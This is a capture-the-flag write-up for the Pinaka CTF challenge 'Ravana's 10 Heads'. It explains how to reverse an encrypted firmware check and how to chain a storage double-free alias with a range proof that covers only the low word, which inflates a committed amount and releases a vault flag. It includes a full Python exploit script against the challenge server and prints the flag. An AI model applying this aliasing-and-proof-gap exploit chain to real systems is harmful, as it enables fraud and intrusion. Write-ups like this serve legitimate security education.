Ravana's 10 Heads

By Team Cryptonite · 3 min read

About the CTF: Pinaka CTF

Ten crowned heads rule Lanka, and the kingdom trusts whatever they all agree upon. But ten truths, each correct alone, can together swear to something that was never true. Find the eleventh truth and the sovereign…

Ravana's 10 Heads

**Pinaka CTF 2026** · Misc & OSINT · Team Cryptonite · All 44 Pinaka write-ups


Ten crowned heads rule Lanka, and the kingdom trusts whatever they all agree upon. But ten truths, each correct alone, can together swear to something that was never true. Find the eleventh truth and the sovereign falls. Target: http://137.23.48.54:8080/

Solve

The dashboard maps directly onto the API:

| Head | Service | Endpoint |

|---|---|---|

| I Dvara | gateway | POST /gate/session |

| II Pehchan | identity | POST /identity/authorize |

| III Niyama | policy | amount bounds |

| IV Kala | sequencer | POST /sequencer/event |

| V Smriti | storage | /storage/alloc, /free, /snapshot, /recovery_apply |

| VI Pramana | proof | POST /proof/verify |

| VII Maya | client | team header |

| VIII Punarjanma | recovery | POST /firmware/recover |

| IX Sakshi | audit | GET /audit |

| X Rajakosha | vault | POST /vault/release |

The audit evidence also reveals the object identity scheme:


sha256("angada|5")  = 60c96c6307c41a5233b420521a0f7baa88a9c5fca00b1c5d545e74fa3ec53f01
sha256("angada|12") = a20d504870acace1bd1314ffbfa7c2bb723a8e903b02176bfd97396dbac0ab41
sha256("sugriva|7") = 91b194d89fa0c323f2d0fad82178d5dd621649c4277ee0f4be88afdd0d8f0aa7

audit-ledger.json, proof-transcripts.json, and state-journal.json all agree with this. The committed object id is just the subject and amount, hashed.

2. The Punarjanma firmware

firmware.rom contains 260 24-bit big-endian words for the VM implemented in recovery-emulator.

Word 0 jumps to word 14. The init block programs several memory-mapped ports:

| Port | Meaning |

|---|---|

| 0x10 | source index |

| 0x11 | destination base |

| 0x12 | word count |

| 0x13 | LCG seed |

| 0x14 | bank |

| 0x15 | trigger operation |

Writing 1 to port 0x15 decrypts four firmware words. The keystream starts at 0xc0de and each step is:


state = (state * 0x19660D + 0x3C6EF3) mod 2^24

Decrypting firmware.rom[0x100:0x104] gives:


0x112233  0x445566  0x778899  0xaabbcc

The main loop then runs a four-stage chain. The VM's opcode 32 is a GF(2^24) multiplier with reduction polynomial 0x100001b.


acc = 0x50554e
rng = 0x5a4b3c

for i in 0..3:
    acc = (acc + input[i]) mod 2^24
    acc = gf_mul(acc, weight[i])
    rng = (rng * 0x19660D + 0x3C6EF3) mod 2^24
    acc = acc xor rng
    mismatch |= acc xor constant[i]

write mismatch to port 0x50

The four target constants are:


0xF6C2A9  0xA29720  0x4F8923  0xB1E1E9

The VM reports AWAKE only when mismatch == 0, meaning all four stages matched.

3. Reversing the chain

In GF(2^24), division is multiplication by the inverse. Working backwards:


pre_mul[i] = (constant[i] xor rng[i]) * inverse(weight[i])
input[i]   = pre_mul[i] - previous_acc

The previous accumulator is 0x50554e for the first word and the previous constant afterwards. This yields:


0x005241  0x005641  0x004e41  0x002121

The low two bytes spell:


RA VA NA !!

So the recovery sequence is:


[21057, 22081, 20033, 8481]

Ravana's 10 Heads: step screenshot

The API accepts the decimal list:


POST /firmware/recover
{"sequence":[21057,22081,20033,8481]}

{"recovery": true, "coordinator_tag": "c891d4e5"}

That switches on Punarjanma and unlocks storage/recovery_apply.

4. Ten true statements, one false total

A normal flow authorizes a small amount and proves it:


POST /identity/authorize
{"subject":"angada","amount":5}

POST /sequencer/event
{"subject":"angada","amount":5}

POST /proof/verify
{"subject":"angada","commitment":commit(5,r),"x":5,"r":r}

The Pedersen commitment is:


commit(x, r) = G^x * H^r mod P

The proof certifies the low 64-bit word is 5 and inside the allowed range. It says nothing about the high 64-bit word.

Every head is satisfied by its own statement:

Together, they still never proved anything about the full 128-bit amount.

5. The storage alias

The storage allocator can be made to hand the same backing object to two owners around a snapshot. The sequence is:

  1. POST /storage/alloc - receive handle h.
  2. POST /storage/free with h - free the first reference.
  3. Commit the authorized object with /sequencer/event; the committed object reuses the freed base.
  4. POST /storage/free with h again - free the stale handle before the snapshot.
  5. POST /storage/snapshot - take the checkpoint.

After the snapshot, the stale handle still aliases the committed object's storage. Recovery mode then lets us write its high word through that alias:


POST /storage/recovery_apply
{"target_id":"<committed id>","handle":h,"hi":18446744073709551616}

18446744073709551616 is 2^64. The object amount becomes:


hi * 2^64 + low = 2^64 * 2^64 + 5 = 2^128 + 5

That is larger than any possible 128-bit amount. The proof still verifies because it only covered the low word; the high word was changed after the proof.

6. Release

Finally:


POST /vault/release
{"id":"<committed id>"}

The vault sees an impossible state and releases the flag:

script.py


import sys
import json
import secrets
import urllib.request
from pathlib import Path

ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT / "source"))
from crypto import Q, commit

MASK = 0xFFFFFF
POLY = 0x100001B
CONSTS = [0xF6C2A9, 0xA29720, 0x4F8923, 0xB1E1E9]


def gf_mul(a, b):
    r = 0
    for _ in range(24):
        if b & 1:
            r ^= a
        b >>= 1
        a <<= 1
        if a & 0x1000000:
            a ^= POLY
    return r & MASK


def gf_pow(a, e):
    r = 1
    while e:
        if e & 1:
            r = gf_mul(r, a)
        a = gf_mul(a, a)
        e >>= 1
    return r


def recovery_sequence():
    data = (ROOT / "binaries" / "firmware.rom").read_bytes()
    rom = [int.from_bytes(data[i:i + 3], "big") for i in range(0, len(data), 3)]
    state = 0xC0DE
    weights = []
    for i in range(4):
        state = (state * 0x19660D + 0x3C6EF3) & MASK
        weights.append(rom[0x100 + i] ^ state)
    acc = 0x50554E
    rng = 0x5A4B3C
    sequence = []
    for i, const in enumerate(CONSTS):
        rng = (rng * 0x19660D + 0x3C6EF3) & MASK
        before = gf_mul(const ^ rng, gf_pow(weights[i], MASK - 1))
        sequence.append((before - acc) & MASK)
        acc = const
    return sequence


def field(obj, *names):
    if isinstance(obj, dict):
        for name in names:
            if obj.get(name) is not None:
                return obj[name]
    if isinstance(obj, str):
        return obj
    return None


def main():
    base = sys.argv[1] if len(sys.argv) > 1 else "http://137.23.48.54:8080"
    sequence = recovery_sequence()
    print("sequence:", sequence)
    team = None

    def post(path, body=None):
        headers = {"Content-Type": "application/json"}
        if team:
            headers["X-Team"] = team
        request = urllib.request.Request(
            base + path,
            data=json.dumps(body or {}).encode(),
            headers=headers,
            method="POST",
        )
        with urllib.request.urlopen(request, timeout=30) as response:
            return json.loads(response.read())

    session = post("/gate/session")
    team = field(session, "team", "id")

    alloc = post("/storage/alloc")
    handle = field(alloc, "handle", "id", "object", "token")
    post("/storage/free", {"handle": handle})

    subject = "angada"
    amount = 5
    r = secrets.randbelow(Q)

    auth = post("/identity/authorize", {"subject": subject, "amount": amount})
    target_id = field(auth, "id", "object_id", "target_id")
    post("/sequencer/event", {"subject": subject, "amount": amount})
    post("/proof/verify", {"subject": subject, "commitment": commit(amount, r), "x": amount, "r": r})
    post("/storage/free", {"handle": handle})
    post("/storage/snapshot")

    post("/firmware/recover", {"sequence": sequence})
    post("/storage/recovery_apply", {"target_id": target_id, "handle": handle, "hi": 1 << 64})
    result = post("/vault/release", {"id": target_id})
    print(result.get("flag", result) if isinstance(result, dict) else result)


if __name__ == "__main__":
    main()

Flag:


PINAKA{ten_heads_agreed_on_a_truth_that_never_was}

Read this post on CyberHx →